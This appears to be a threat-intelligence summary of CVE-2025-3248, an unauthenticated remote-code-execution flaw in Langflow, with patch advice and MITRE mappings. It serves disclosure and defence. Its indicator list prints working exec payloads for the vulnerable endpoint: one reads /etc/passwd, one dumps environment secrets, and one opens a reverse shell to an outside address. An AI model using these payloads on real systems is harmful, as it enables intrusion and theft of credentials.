Unsafe at Any Speed: Abusing Python Exec for Unauth RCE in Langflow AI

A code injection vulnerability, CVE-2025-3248, has been discovered in Langflow that allows unauthenticated remote attackers to fully compromise servers. The vulnerability is particularly concerning as it can be easily exploited via a specific API endpoint. A patch has been released in Langflow version 1.3.0, and users are urged to update to this version ASAP. Affected: Langflow, AI tools

Keypoints :

Code injection vulnerability identified as CVE-2025-3248.
Langflow is a widely used tool for building AI workflows.
The vulnerability allows unauthenticated access and remote code execution.
Earlier vulnerabilities in Langflow were questionable due to design decisions.
The exploit involves injecting code via a specific API endpoint.
Users are encouraged to upgrade to Langflow version 1.3.0 to mitigate risks.

MITRE Techniques :

T1203: Exploitation for Client Execution – Exploit targeting an unauthenticated API endpoint to achieve remote code execution.
T1210: Exploitation of Remote Services – Using crafted payloads to execute arbitrary code on the Langflow server.

Indicator of Compromise :

[URL] http://10.0.220.200:8000/api/v1/validate/code
[Command] exec(“raise Exception(__import__(“subprocess”).check_output([“cat”, “/etc/passwd”]))”)
[Command] exec(“import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.220.201”,9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/sh”)”)
[Command] exec(“raise Exception(__import__(“subprocess”).check_output(“env”))”)
[Hash] N/A (no explicit hashes presented in the text)

Full Story: https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/

Tags: CVE, PASSWORD, PATCH, PAYLOAD, SHADOW IT, ZERO-DAY, SSO, TOOL